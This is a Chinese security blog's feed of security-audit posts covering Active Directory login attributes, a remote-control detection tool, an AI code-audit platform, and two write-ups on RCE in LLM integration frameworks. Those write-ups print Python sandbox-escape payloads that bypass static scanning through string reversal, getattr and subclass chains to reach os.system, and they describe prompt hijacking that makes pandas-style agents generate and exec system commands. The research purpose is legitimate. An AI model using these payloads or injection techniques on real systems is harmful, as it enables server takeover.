xiaohack's Blog - 安全审计
type: channel
link: https://blog.xiaohack.org/tag/%E5%AE%89%E5%85%A8%E5%AE%A1%E8%AE%A1/
items: 艾体宝干货 | 深入解析 LastLogon、LastLogonTimestamp 和 LastLogonDate 的区别
items: 某web中间件审计分析
items: 从某BAT大厂开源框架实战审计揭秘 LLM 集成框架中的隐蔽加载漏洞
items: 【开源】RemoteKnown (远程知道了) 远程控制感知与审计工具
items: 深度实例分析：攻防视角下的AI框架组件中的注入漏洞
items: DeepAudit - 开源的代码审计智能体平台 ?‍♂️

艾体宝干货 | 深入解析 LastLogon、LastLogonTimestamp 和 LastLogonDate 的区别
type: item
date: 2026-01-29T17:18:13+08:00
description: 引导语：在管理 Active Directory (AD) 时，了解用户的登录时间对于安全审计和账号管理至关重要。然而，AD 中提供了多个相关属性，如 LastLogon、LastLogonTimestamp 和 LastLogonDate，它们的作用和适用场景各不相同。本文将深入剖析它们的区别，帮助您更高效地管理用户登录数据。简介：Active Directory 维护着多个用户登录时间的属性，包括 LastLogon、LastLogonTimestamp 和 LastLogonDate。虽然它们都与用户登录记录相关，但在同步机制、精确度和适用性上存在显著差异。本文将对这三个属性进行详细对比，帮助 IT 管理员正确理解并合理利用这些信息，以优化安全策略和资源管理。关键词：Active Directory、LastLogon、LastLogonTimestamp、LastLogonDate、用户登录时间、AD 账户管理、安全审计什么是Active Directory登录属性？Active Directory操作中的安全标识符是记录用户授权过程信息的基础参数。它们使管理员能够追踪访问活动并识别潜在问题，例如长期未登录的用户。举例来说，当企业需要识别已闲置90天的账户时，通常会使用LastLogonTimeStamp属性。而另一方面，在取证调查中则需要依赖LastLogon属性的精确结果——该属性记录了用户在特定域控制器（DC）上的实际登录时间。什么是LastLogon属性？LastLogon属性记录了用户在特定域控制器（DC）上的最后一次登录时间。该属性具有非复制特性，意味着每个域控制器都会独立保存其专属记录。虽然它能提供最精确的登录时间数据，但若需获取域内全局信息，必须向所有域控制器发送查询请求。LastLogon属性的核心优势在于其高精度特性。然而由于该属性未在域控制器之间同步，对于管理大规模环境的管理员而言，这反而成为痛点。例如，若企业部署了五台域控制器，每台控制器都将单独保存用户的LastLogon记录。使用 PowerShell 查询 LastLogon要从所有 DC 收集用户的 LastLogon，可以使用 PowerShell。此脚本会获取并汇总数据：$Username = "john.doe"$DCs = Get-ADDomainController -Filter *$LastLogonResults = foreach ($DC in $DCs) {Get-ADUser -Server $DC.HostName -Identity $Username -Properties LastLogon |Select-Object @{Name="DomainController";Expression={$DC.HostName}},@{Name="LastLogon";Expression={[DateTime]::FromFileTime($_.LastLogon)}}}$LastLogonResults | Sort-Object LastLogon -Descending此脚本会查询所有 DC 的用户 LastLogon 属性，返回结果并按日期排序。什么是LastLogonTimeStamp属性？LastLogonTimeStamp属性提供域级登录活动视图。与LastLogon不同，该属性会在所有域控制器（DC）间同步更新，因此管理员可通过任意域控制器获取统一数据。但其更新周期较长：属性默认值为0，仅当用户最近一次登录发生在14天或更早前时才会触发更新。该属性通过更新延迟机制平衡了复制流量与管理实用性。它能便捷追踪闲置账户，为审计工作提供基础支持，但由于更新频率较低，无法用于高精度登录时间追踪。修改更新频率管理员可以通过修改 Active Directory 中的 ms-DS-Logon-Time-Sync-Interval 属性来调整默认的 14 天间隔。例如，要将间隔改为 7 天，请使用以下 PowerShell 命令：Set-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=yourdomain,DC=com" -Partition "CN=Configuration,DC=yourdomain,DC=com" -Add @{msDS-LogonTimeSyncInterval=7}这种调整允许更频繁地更新，提供相对最新的登录数据，同时仍能最大限度地减少复制流量。什么是 LastLogonDate 属性？LastLogonDate 属性是 LastLogonTimeStamp 属…

某web中间件审计分析
type: item
date: 2026-01-21T11:19:54+08:00

从某BAT大厂开源框架实战审计揭秘 LLM 集成框架中的隐蔽加载漏洞
type: item
date: 2026-01-19T20:33:54+08:00
description: 从某实战审计揭秘 LLM 集成框架中的隐蔽加载漏洞最近在研究LLM集成应用框架时，在审计某BAT大厂的github18k大型开源LLM集成应用框架项目时发现了一处隐蔽的加载漏洞，虽然开发者打过了防御补丁，但仍然可进行绕过并已提交CVE。遂深入进行了该类型的漏洞在LLM集成应用框架中的探究，供师傅们交流指点...1.归纳攻击路径随着 AI 从“聊天机器人”向“自主智能体（Agentic AI）”演进，许多LLM 集成应用框架成为了连接大模型与物理世界的桥梁。这些框架通过插件（Plugins）和工具（Tools）赋予了模型执行代码、访问数据库的能力。然而，这种能力的赋予也导致了一个极度隐蔽的代码注入：在这些框架通用的插件加载机制中，存在一个系统性的RCE漏洞——即便开发者部署了看似严密的静态分析安全审查，攻击者依然能利用“加载时执行”的特性，将恶意载荷伪装成功能扩展，实现对服务器的完全接管。我在审计了多个LLM应用框架后首先归纳总结一下该类加载漏洞的经典污染点流路径在 LLM 集成应用中，插件系统通常被设计为“动态可扩展”，这一类漏洞通常遵循一个通用的“受污染路径”： Source：框架暴露文件上传接口（如插件/工具安装包）。这些接口往往缺乏严格的身份验证，或被认为是“低风险”的操作入口。 Static Analysis WAF：系统在保存代码前，会调用安全模块对 Python 文件进行静态扫描（如 AST 校验、沙箱执行）。它试图识别并拦截 subprocess 或 os.system 等敏感调用。 Pyjail: 由于 Python是动态语言，攻击者可以利用动态导入、继承链等特性绕过AST静态扫描、hook和沙箱逃逸等 Sink：为了让插件生效，框架必须执行“扫描与刷新（Refresh/Scan）”。在这个过程中，系统会尝试 导入加载 这些模块导致poc执行。 2 逃脱静态分析的艺术这一部分和师傅们经常遇到的CTF的Pyjail挑战中相似：在 AI 应用框架中，针对插件源码的“语义审查”通常包括：禁用敏感库（如 os, subprocess）、拦截敏感函数调用（如 eval, exec）以及限制魔术属性访问（如 subclasses）。最基础的审查通常使用 ast.Name 或 ast.Attribute 来匹配关键词。攻击者可以通过字符串混淆和 getattr 动态重建调用链。利用字符串拼接或反转绕过特征匹配。# 绕过拦截器对 "os" 和 "system" 的直接检索 m = __import__('o' + 's') f = getattr(m, 'metsys'[::-1]) f('whoami') 2.1 利用Python继承链如果框架完全禁用了导入机制，攻击者会转向 Python 的内建对象体系。通过查找 object 的子类，可以在不直接引入任何库的情况下，从内存中“捞出”具备系统执行能力的模块。 从元组或列表的类对象出发，通过 mro 回溯到基类，再通过 subclasses 遍历所有加载到内存的类。 # 静态分析器只能看到属性访问，无法预测结果会指向危险函数 # 寻找 site._Printer 或 os._wrap_close 等带有执行能力的类 for c in ().__class__.__base__.__subclasses__(): if c.__name__ == 'os._wrap_close': # 从该类的全局变量中直接提取并执行命令 c.__init__.__globals__['system']('id') [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"] #_wrap_close [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls") 2.2 Encode静态审计工具在处理字符串常量时，通常只能看到字面值。攻击者可以利用 base64、hex 或 unicode 变体，将 Payload 转化为为一串看似无意义的杂乱字符进行绕过。 将恶意逻辑序列化。由于许多 AI 框架本身支持序列化处理（用于传输模型参数或配置），这为 Payload 提供了天然的保护色。 exec("print('RCE'); __import__('os').syst…

【开源】RemoteKnown (远程知道了) 远程控制感知与审计工具
type: item
date: 2026-01-16T12:22:04+08:00
description: RemoteKnown (远程知道了)本地终端远程行为感知与审计系统让用户 "清楚知道自己是否、何时、正在被远程控制"，保护隐私安全。简体中文 | English 项目简介远程知道了 是一款能够实时监测本地系统的远程控制状态，识别多种主流远程工具（如 ToDesk, 向日葵，网易 UU 远程，AskLink 远程，远程看看等），并提供桌面通知、飞书 / 钉钉告警以及详细的会话审计记录。 界面预览主界面状态 安全状态正在被远程 桌面通知 远程开始告警远程结束通知 系统托盘红色告警状态通知设置 飞书设置钉钉设置 核心功能实时感知：多维度信号（进程、窗口、网络端口、Session）综合判定。多工具支持： ToDesk向日葵 (Sunlogin)Windows 远程桌面 (RDP)网易 UU 远程AskLink 远程远程看看会话审计：自动记录每次远程控制的开始时间、结束时间、持续时长及判定来源。多渠道告警： 桌面右下角弹窗通知系统托盘状态变色（绿色安全，红色警告）即时通讯软件推送（支持飞书 Webhook、钉钉 Webhook）隐私优先：所有数据均存储在本地 SQLite 数据库中，不上传任何敏感信息。 快速开始下载安装请从以下任一平台下载最新的安装包 (RemoteKnown-Setup-x.x.x.exe) 并安装：GitHub: GitHub Releases 页面Gitee: Gitee Releases 页面AtomGit: AtomGit Releases 页面运行安装完成后，双击桌面图标启动。程序启动后会自动最小化到系统托盘。当检测到远程控制时，托盘图标会变红，并弹出提示。点击托盘图标可打开主界面查看详细状态和历史记录。 编译构建如果您是开发者，想要自行构建项目，请遵循以下步骤：环境要求Windows 10/11 (核心检测逻辑依赖 Windows API)Go: 1.21 或更高版本Node.js: 18 或更高版本 (推荐使用 LTS)构建步骤我们提供了一键构建脚本，自动处理 Go 后端编译和 Electron 前端打包。必须以管理员身份运行 CMD 或 PowerShell（解决软链接权限问题）：# 1. 克隆项目 git clone https://github.com/samwafgo/RemoteKnown.git cd RemoteKnown # 2. 运行构建脚本 (会自动安装依赖并打包) .\build.bat 构建完成后，安装包将生成在 web/dist 目录下。 项目结构RemoteKnown/ ├── build.bat # 一键构建脚本 (Windows) ├── cmd/ # Go 程序主入口 ├── internal/ # Go 核心业务逻辑 │ ├── detector/ # 远程特征检测引擎 │ ├── server/ # 本地 HTTP API 服务 │ └── storage/ # SQLite 数据库操作 ├── web/ # Electron 前端源码 │ ├── assets/ # 静态资源 (Logo等) │ ├── index.html # 主页面 │ └── main.js # Electron 主进程 (含单实例锁、后端守护) └── README.md # 项目文档 参与贡献欢迎提交 Issue 和 Pull Request！代码仓库GitHub: GitHub - samwafgo/RemoteKnownGitee: https://gitee.com/samwaf/remote-knownAtomGit: AtomGit | GitCode - 全球开发者的开源社区，开源代码托管平台 开源协议本项目采用 MIT License 开源。📌 转载信息来源： https://linux.do/t/topic/1466836原作者： 1g2g转载时间： 2026/1/16 12:22:02

深度实例分析：攻防视角下的AI框架组件中的注入漏洞
type: item
date: 2026-01-14T09:48:04+08:00
description: 在从事了一段时间对AI框架组件的安全审计研究后，也挖掘到了很多相似的注入漏洞，对于目前的AI框架组件（PandasAI，LlamaIndx，Langchain...）对于该类型漏洞的通病结合实战实例以及学术界的研究做了系统性的归纳，站在AI框架的顶层角度对该类AI框架组件中的注入漏洞进行研究分析，供师傅们交流指点...深度实例分析：攻防视角下的AI框架组件中的注入漏洞 ========================= 在从事了一段时间对AI框架组件的安全审计研究后，也挖掘到了很多相似的注入漏洞RCE，对于目前的AI框架组件（PandasAI，LlamaIndx，Langchain...）对于该类型漏洞的通病结合实战实例以及学术界的研究做了系统性的归纳，站在AI框架的顶层角度对该类AI框架组件中的注入漏洞进行研究分析，供师傅们交流指点... 1 漏洞根源 ------ 传统的注入攻击本质上是攻击者通过操纵**结构化查询语言**的语法和语义来实现恶意操作。这种攻击依赖于输入验证的缺失，导致用户输入直接拼接到预定义的SQL语句中，形成无效或恶意查询，从而绕过授权、泄露数据或执行系统命令。然而，在AI集成框架（如LangChain、LlamaIndex、PandasAI）中的RCE漏洞，则源于一个更复杂的动态过程：**Natural Language向Untrusted Code的转化过程中的逻辑失控**。这种失控不是简单的语法操纵，而是源于AI系统的“意图推断”和“代码生成”机制的固有不确定性，导致从人类可读的prompt到可执行Python代码的“黑箱”转化中，安全边界被模糊化。 2 AI应用框架执行流程 ------------ 一个典型的AI框架集成应用执行流如下： 1. 用户通过自然语言接口（如Web聊天框或API端点）提交查询提示（Prompt），这个提示通常封装为一个结构化的输入 2. 框架（如LangChain、LlamaIndex或PandasAI）接收此输入后，会在系统提示（System Prompt）指导下调用LLM模型（如OpenAI的GPT系列），系统提示旨在强化安全边界，例如“仅生成安全的Pandas代码，不要执行系统命令”。LLM基于其训练数据和概率分布，生成一个中间输出——通常是伪代码或自然语言描述的代码片段 3. 框架的解析器（Parser）将此输出转化为可执行的Python代码字符串 4. 最后在执行阶段，框架依赖动态解释器（如exec()或eval()）在受限命名空间中运行此代码，捕获stdout或返回值作为观察结果 3 注入RCE漏洞主要分布 ------------- ### 3.1 Data Analysis Agents 这类接口是目前RCE漏洞最密集的区域。以`create_pandas_dataframe_agent`或`SQLAgent`为代表，其核心逻辑是利用LLM的编程能力来处理结构化数据。开发者通常为LLM提供一个功能完备的Python运行环境，并预装Pandas、Numpy等库，意图让LLM通过编写数据清洗或统计代码来回答用户问题。然而，从攻防视角看，这本质上构建了一个 **“自然语言控制的动态脚本生成器”** 。由于框架底层往往直接调用exec()或eval()来运行LLM生成的代码，攻击者只需通过Prompt Hijacking，诱导LLM在生成的脚本中插入os.system或subprocess指令，即可绕过数据分析的初衷，直接在宿主机上执行任意系统命令。 ```python import pandas as pd import os from typing import Any def execute_llm_generated_code(code_string: str, dataframe: pd.DataFrame) -> Any: # 框架中会注入dataframe到本地作用域，这里简化 local_vars = {'df': dataframe, 'pd': pd, 'np': __import__('numpy')} exec(code_string, {}, local_vars) # 假设LLM生成了一个返回结果的变量 if 'result' in local_vars: return local_vars['result'] return None execute_llm_generated_code(malicious_code, df) if os.path.exists("/tmp/rce_proof.txt"): with open("/tmp/rce_proof.txt", "r") as f: print(f"RCE 验证文件内容 ``…

DeepAudit - 开源的代码审计智能体平台 ?‍♂️
type: item
date: 2025-12-15T21:36:00+08:00
description: 让代码漏洞挖掘像呼吸一样简单，小白也能当黑客挖洞? 界面预览 ### ? Agent 审计入口 *首页快速进入 Multi-Agent 深度审计* ? 审计流日志 实时查看 Agent 思考与执行过程 ?️ 智能仪表盘 一眼掌握项目安全态势 ⚡ 即时分析 粘贴代码 / 上传文件，秒出结果 ?️ 项目管理 GitHub/GitLab 导入，多项目协同管理 ### ? 专业报告 *一键导出 PDF / Markdown / JSON*（图中为快速模式，非Agent模式报告） ? [查看Agent审计完整报告示例](https://lintsinghua.github.io/) ⚡ 项目概述DeepAudit 是一个基于 Multi-Agent 协作架构的下一代代码安全审计平台。它不仅仅是一个静态扫描工具，而是模拟安全专家的思维模式，通过多个智能体（Orchestrator, Recon, Analysis, Verification）的自主协作，实现对代码的深度理解、漏洞挖掘和 自动化沙箱 PoC 验证。我们致力于解决传统 SAST 工具的三大痛点：误报率高 — 缺乏语义理解，大量误报消耗人力业务逻辑盲点 — 无法理解跨文件调用和复杂逻辑缺乏验证手段 — 不知道漏洞是否真实可利用用户只需导入项目，DeepAudit 便全自动开始工作：识别技术栈 → 分析潜在风险 → 生成脚本 → 沙箱验证 → 生成报告，最终输出一份专业审计报告。核心理念: 让 AI 像黑客一样攻击，像专家一样防御。? 为什么选择 DeepAudit？ | ? 传统审计的痛点 | ? DeepAudit 解决方案 | | :--- | :--- | | **人工审计效率低**跨不上 CI/CD 代码迭代速度，拖慢发布流程 | **? Multi-Agent 自主审计**AI 自动编排审计策略，全天候自动化执行 | | **传统工具误报多**缺乏语义理解，每天花费大量时间清洗噪音 | **? RAG 知识库增强**结合代码语义与上下文，大幅降低误报率 | | **数据隐私担忧**担心核心源码泄露给云端 AI，无法满足合规要求 | **? 支持 Ollama 本地部署**数据不出内网，支持 Llama3/DeepSeek 等本地模型 | | **无法确认真实性**外包项目漏洞多，不知道哪些漏洞真实可被利用 | **? 沙箱 PoC 验证**自动生成并执行攻击脚本，确认漏洞真实危害 | ?️ 系统架构整体架构图DeepAudit 采用微服务架构，核心由 Multi-Agent 引擎驱动。 ? 审计工作流步骤阶段负责 Agent主要动作1策略规划Orchestrator接收审计任务，分析项目类型，制定审计计划，下发任务给子 Agent2信息收集Recon Agent扫描项目结构，识别框架/库/API，提取攻击面（Entry Points）3漏洞挖掘Analysis Agent结合 RAG 知识库与 AST 分析，深度审查代码，发现潜在漏洞4PoC 验证Verification Agent(关键) 编写 PoC 脚本，在 Docker 沙箱中执行。如失败则自我修正重试5报告生成Orchestrator汇总所有发现，剔除被验证为误报的漏洞，生成最终报告? 项目代码结构DeepAudit/ ├── backend/ # Python FastAPI 后端 │ ├── app/ │ │ ├── agents/ # Multi-Agent 核心逻辑 │ │ │ ├── orchestrator.py # 总指挥：任务编排 │ │ │ ├── recon.py # 侦察兵：资产识别 │ │ │ ├── analysis.py # 分析师：漏洞挖掘 │ │ │ └── verification.py # 验证者：沙箱 PoC │ │ ├── core/ # 核心配置与沙箱接口 │ │ ├── models/ # 数据库模型 │ │ └── services/ # RAG, LLM 服务封装 │ └── tests/ # 单元测试 ├── frontend/ # React + TypeScript 前端 │ ├── src/ │ │ ├── components/ # UI 组件库 │ │ ├── pages/ # 页面路由 │ │ └── stores/ # Zustand 状态管理 ├── docker/ # Docker 部署配置 │ ├── sandbox/ # 安全沙箱镜像构建 │ └── postgres/ # 数据库初始化 └── docs/ # 详细文档? 快速开始 (Docker)1. 启动项目复制一份 backend/env.example 为 backend/.e…